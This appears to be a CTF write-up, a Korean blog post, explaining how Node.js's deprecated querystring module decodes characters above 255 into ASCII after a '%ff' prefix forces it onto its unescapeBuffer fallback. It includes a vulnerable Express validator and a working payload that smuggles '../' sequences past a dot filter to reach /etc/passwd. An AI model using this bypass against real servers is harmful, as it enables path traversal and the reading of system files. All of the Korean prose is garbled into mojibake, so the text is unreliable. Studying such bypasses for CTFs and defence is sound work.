ํ•„์ž๊ฐ€ ์ข‹์•„ํ•˜๋Š” ๋ฐฑ์—”๋“œ ์–ธ์–ด ์ค‘ ํ•˜๋‚˜

 

๐Ÿšช Intro

์ž‘๋…„  Line 2021 CTF ์›น ๋ฌธ์ œ๋ฅผ ํ’€๋‹ค๊ฐ€ ๊ธฐ๋กํ•˜๊ณ  ์‹ถ์–ด ์ž‘์„ฑํ•˜๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

๋ฐ”๋กœ Node.js ์—์„œ built-in ๋ชจ๋“ˆ์ธ `querystring` ์ž…๋‹ˆ๋‹ค. ํ˜„์žฌ๋Š” deprecated ๋œ ๋ชจ๋“ˆ์ž…๋‹ˆ๋‹ค. 

 

 

 

๐Ÿ’ก About querystring module

Node.js ๊ณต์‹ ๋ฌธ์„œ์— ์„ค๋ช…๋œ `querystring`์— ๋Œ€ํ•œ ์„ค๋ช…์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์œผ๋กœ URL์˜ query string์„ ํŒŒ์‹ฑํ•˜๋Š”๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

https://nodejs.org/api/querystring.html

 

์‚ฌ์šฉ๋ฐฉ๋ฒ•์€ ๊ณต์‹๋ฌธ์„œ์— ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์„ค๋ช…ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

`parse()` ํ•จ์ˆ˜์˜ ์ฒซ๋ฒˆ์งธ ์ธ์ž์— URL์˜ query string ๊ฐ’์„ ๋„˜๊ฒจ์ค˜์•ผ ํ•˜๋ฉฐ, ๋‚˜๋จธ์ง€ ์ธ์ž๋“ค์€ ๊ธฐ๋ณธ ๊ฐ’์œผ๋กœ ์„ค์ • ๋ฉ๋‹ˆ๋‹ค.

 

 

์˜ˆ๋ฅผ๋“ค์–ด, ์•„๋ž˜ ์‚ฌ์ง„์ฒ˜๋Ÿผ `parse()` ํ•จ์ˆ˜์˜ ์ฒซ๋ฒˆ์งธ ์ธ์ž์— foo=1&abc=2 ๋ผ๋Š” ๊ฐ’์„ ๋„˜๊ธฐ๋ฉด ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

const qs = require("querystring")
const result = qs.parse("foo=1&abc=2")
console.log(result)

/* output
[Object: null prototype] { foo: '1', abc: '2' }

*/

 

ํ˜น์€ ๊ฐ™์€ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ 2๊ฐœ ์ด์ƒ ์กด์žฌํ•œ๋‹ค๋ฉด, Array๋กœ ๋ฆฌํ„ดํ•˜๊ธฐ๋„ ํ•ฉ๋‹ˆ๋‹ค.

const qs = require("querystring")
const result = qs.parse("foo=1&foo=a")
console.log(result)

/* output
[Object: null prototype] { foo: [ '1', 'a' ] }

*/

 

 

๊ณต์‹๋ฌธ์„œ์—์„œ `querystring` ๋ชจ๋“ˆ์˜  `parse()` ํ•จ์ˆ˜์˜ ์ธ์ž๋“ค์ด ์—ฌ๋Ÿฌ๊ฒŒ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์ด ํ•จ์ˆ˜๋Š” query string์„ ๊ธฐ๋ณธ์ ์œผ๋กœ url decoding ํ•ด์ฃผ๋Š”๋ฐ์š”. ๋ฐ”๋กœ `querystring.unescape()` ํ•จ์ˆ˜๋ฅผ ๊ธฐ๋ณธ์ ์œผ๋กœ ํ˜ธ์ถœํ•˜์—ฌ url decoding์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

 

 

`querystring.unescape()` ์ด ํ•จ์ˆ˜์— ๋Œ€ํ•œ ๊ณต์‹๋ฌธ์„œ์—์„œ์˜ ์„ค๋ช…์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

์ด ํ•จ์ˆ˜๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ `parse()` ๋ผ๋Š” ํ•จ์ˆ˜์—์„œ ํ˜ธ์ถœ์— ์˜ํ•ด ๋™์ž‘ํ•˜๋Š” ํ•จ์ˆ˜ ์ž…๋‹ˆ๋‹ค. ์ฆ‰, ๋‹ค์ด๋ ‰ํŠธ ํ˜ธ์ถœ๋กœ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ํ•จ์ˆ˜๋Š” ์•„๋‹™๋‹ˆ๋‹ค.

์œ„ ์‚ฌ์ง„์—์„œ ๋งˆ์ง€๋ง‰ ์ค„์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. 

`unescape()` ํ•จ์ˆ˜๋Š” `decodeURIComponent()` ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ url decoding์„ ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ `decodeURIComponent()` ํ•จ์ˆ˜์—์„œ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค๋ฉด, ๋‹ค๋ฅธ ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•œ๋‹ค๊ณ  ์ ํ˜€์žˆ์ง€๋งŒ ์ž์„ธํžˆ๋Š” ์ž‘์„ฑ๋˜์–ด ์žˆ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. 

 

์ด๋ฅผ querystring.js ํŒŒ์ผ์—์„œ ์ฐพ์•„๋ณธ ๊ฒฐ๊ณผ, ์•„๋ž˜ ์ฝ”๋“œ์ฒ˜๋Ÿผ `try catch` ๊ตฌ๋ฌธ์„ ํ†ตํ•ด ์—๋Ÿฌ ์ฒ˜๋ฆฌ๋ฅผ ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

์œ„์—์„œ ์„ค๋ช…ํ•œ ๊ฒƒ ์ฒ˜๋Ÿผ, `decodeURIComponent()` ํ•จ์ˆ˜์—์„œ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด `QueryString.unescapeBuffer()` ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

https://github.com/nodejs/node/blob/5011009a593437d3e4ab157d448cc464c93c8cc5/lib/querystring.js#L123

 

 

`decodeURIComponent()` ํ•จ์ˆ˜์—์„œ ์•„๋ž˜ ์‚ฌ์ง„์ฒ˜๋Ÿผ `%ff` ๋ผ๋Š” ๊ฐ’์„ ๋„ฃ์œผ๋ฉด `URI malformed` ๋ผ๋Š” ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์ฆ‰, `%ff` ๊ฐ’์„ `parse()` ํ•จ์ˆ˜์˜ ์ธ์ž๋กœ ๋„ฃ์œผ๋ฉด ์ตœ์ข…์ ์œผ๋กœ `QueryString.unescapeBuffer()` ํ•จ์ˆ˜๊ฐ€ ๋™์ž‘ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

decodeURIComponent() ํ•จ์ˆ˜ ์—๋Ÿฌ

 

 

`QueryString.unescapeBuffer()` ํ•จ์ˆ˜๋Š” ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ url decoding์„ ํ•˜๋Š” ํ•จ์ˆ˜ ์ž…๋‹ˆ๋‹ค.

์ตœ์ข…์ ์œผ๋กœ๋Š” `querystring` ๋ชจ๋“ˆ์„ ํ†ตํ•ด url query string์„ ํŒŒ์‹ฑ ํ›„(url decoding ๊ธฐ๋Šฅ๋„ ๋™์ž‘), ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ฆฌํ„ดํ•ฉ๋‹ˆ๋‹ค.  

https://github.com/nodejs/node/blob/5011009a593437d3e4ab157d448cc464c93c8cc5/lib/querystring.js#L80

 

 

 

๐Ÿ’ก Bug

`querystring` ๋ชจ๋“ˆ์—์„œ `parse()` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋Š”๋ฐ, ๊ธฐ๋ณธ์ ์œผ๋กœ `decodeURIComponent()` ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด url decoding์„ ์ˆ˜ํ–‰ํ•˜๋Š”๋ฐ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค๋ฉด, `unescapeBuffer()` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๊ณ  ์„ค๋ช…ํ–ˆ์Šต๋‹ˆ๋‹ค.

 

`unescapeBuffer()` ์—์„œ ๋ฒ„๊ทธ(?) ๊ฐ™์€๊ฒŒ ์žˆ๋Š”๋ฐ, ์ด์— ๋Œ€ํ•œ ์„ค๋ช…์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

 

81๋ฒˆ์งธ ์ค„์—์„œ `Buffer.allocUnsafe()` ๋ผ๋Š” ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๋Š” ๋ง๊ทธ๋Œ€๋กœ ๋ฉ”๋ชจ๋ฆฌ ๊ณต๊ฐ„์„ ํ• ๋‹นํ•˜๋Š”๋ฐ์š”.

https://github.com/nodejs/node/blob/5011009a593437d3e4ab157d448cc464c93c8cc5/lib/querystring.js#L80

 

 

node ์ฝ˜์†”๋กœ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด, ์‚ฌ์ด์ฆˆ ๋งŒํผ ๊ณต๊ฐ„์„ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค. `allocUnsafe()` ํ•จ์ˆ˜์˜ ํŠน์„ฑ์ƒ, ๋ฉ”๋ชจ๋ฆฌ ํ• ๋‹น ์‹œ ์ด์ „ ๋ฉ”๋กœ๊ธฐ ๊ฐ’์„ ์ดˆ๊ธฐํ™”๋ฅผ ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

 

 

1byte์˜ ๋ฒ”์œ„๋Š” 0 ~ 255 ๊นŒ์ง€ ์ž…๋‹ˆ๋‹ค. ๋งŒ์•ฝ, `unescapeBuffer()` ํ•จ์ˆ˜์—์„œ url decoding์„ ํ• ๋•Œ 256์ด ๋„˜๋Š” ๊ฐ’์„ url decoding ํ•œ๋‹ค๋ฉด ์–ด๋–ค ์ผ์ด ๋ฐœ์ƒํ• ๊นŒ์š”?

 

unicode 256์„ ๋ฌธ์ž๋กœ ํ‘œํ˜„ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค. ฤ€ ๋ผ๋Š” ๋ฌธ์ž ์ž…๋‹ˆ๋‹ค.

String.fromCharCode(256)

/* output
ฤ€
*/

 

 

์ด ๊ฐ’์„ ์•„๋ž˜ ์ฝ”๋“œ์ฒ˜๋Ÿผ ํ• ๋‹น ๋ฐ›์€ ๋ณ€์ˆ˜์— ๋„ฃ๊ณ  ์ถœ๋ ฅํ•˜๋ฉด, 00 ์ด๋ผ๋Š” ๊ฐ’์ด ์ถœ๋ ฅ ๋ฉ๋‹ˆ๋‹ค. ์ฆ‰, ์ตœ๋Œ€ 255(0xff) ๊นŒ์ง€ ํ‘œํ˜„์ด ๊ฐ€๋Šฅํ•˜๊ณ  256์ด๋ผ๋Š” ๊ฐ’์ด ์ž…๋ ฅ๋  ๊ฒฝ์šฐ, overflow๊ฐ€ ๋ฐœ์ƒํ•˜์—ฌ 00 ์œผ๋กœ ์ €์žฅ์ด ๋ฉ๋‹ˆ๋‹ค. 

const buf = Buffer.allocUnsafe(2)

const unicode = String.fromCharCode(256)

buf[0] = unicode.charCodeAt(0)

console.log(buf)

/* output
	<Buffer 00 ed>
*/

 

 

257 unicode ๋ฌธ์ž๋ฅผ ๋„ฃ์„ ๊ฒฝ์šฐ, 01 ์ด ์ถœ๋ ฅ ๋˜๊ฒ ์ฃ .

const buf = Buffer.allocUnsafe(2)

const unicode = String.fromCharCode(257)

buf[0] = unicode.charCodeAt(0)

console.log(buf)

/* output 
<Buffer 01 82>
*/

 

 

์ด๋Ÿฌํ•œ ๋ฒ„๊ทธ๋ฅผ ์ด์šฉํ•˜์—ฌ, unicode๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž๊ฐ€ ์›ํ•˜๋Š” ascii ๋ฌธ์ž๋ฅผ ์–ป์–ด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ๋“ค์–ด, dot(.) ์ด๋ผ๋Š” ๊ฐ’์„ ์ตœ์ข…์ ์œผ๋กœ ์–ป์–ด๋‚ด๊ณ  ์‹ถ๋‹ค๋ฉด 3๋ฒˆ์งธ ์ค„ ์ฒ˜๋Ÿผ ์—ฐ์‚ฐ์„ ํ†ตํ•ด unicode๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

์ดํ›„, ์œ„์—์„œ ์„ค๋ช…ํ–ˆ๋˜ `%ff` ๋ฌธ์ž์™€ unicode๋ฅผ ํ•ฉ์ณ์„œ ๋ณด๋‚ธ๋‹ค๋ฉด, ์ถœ๋ ฅ ๊ฐ’์—๋Š” dot(.) ์ด๋ผ๋Š” ๋ฌธ์ž๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

const qs = require("querystring")

const unicode = String.fromCharCode(256 * 2 + 0x2e)
const malicious_data = "%ff/" + unicode

const data = qs.parse(malicious_data)

console.log(data)

/* output
[Object: null prototype] { '๏ฟฝ/.': '' }

*/

 

 

์œ„ bug๋ฅผ ๋ฌธ์ œ ๋ฐฉ์‹์œผ๋กœ ๋‹ค๊ฐ€๊ฐ„๋‹ค๋ฉด, ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

๋งŒ์•ฝ, validate ํ•จ์ˆ˜๋กœ request body ๊ฐ’์— dot, %2e, %2E ๋ฌธ์ž๋ฅผ ๊ฒ€์‚ฌํ•œ ๋’ค์— querystring์„ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด, ์œ„ bug๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ validate ํ•จ์ˆ˜ ๊ฒ€์ฆ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

app.post('/', function (req, res, next) {
  const body = req.body
  if (typeof body !== 'string') return next(createError(400))

  if (validate(body)) return next(createError(403))
  const { p } = querystring.parse(body)

  ...
  ...
  ...
  
});

function validate (str) {
  return str.indexOf('.') > -1 || str.indexOf('%2e') > -1 || str.indexOf('%2E') > -1
}

 

 

์šฐํšŒํ•˜๋ ค๋Š” ๋ฌธ์ž๋ฅผ 0x2e ๋Œ€์‹  ๋‹ค๋ฅธ ๊ฐ’์œผ๋กœ ๋ณ€๊ฒฝ ํ›„, ์ด๋ฅผ `queryparse.parse()` ํ•จ์ˆ˜์— ๋„ฃ์œผ๋ฉด ์šฐํšŒํ•˜๋ ค๋Š” ๋ฌธ์ž๊ฐ€ ์ถœ๋ ฅ ๋˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

const qs = require("querystring")

const unicode = String.fromCharCode(256 * 2 + 0x2e) // ศฎ
const malicious_data = "%ff/ศฎศฎ/ศฎศฎ/ศฎศฎ/ศฎศฎ/ศฎศฎ/ศฎศฎ/ศฎศฎ/etc/passwd"

const data = qs.parse(malicious_data)

console.log(data)

/* output
[Object: null prototype] { '๏ฟฝ/../../../../../../../etc/passwd': '' }

*/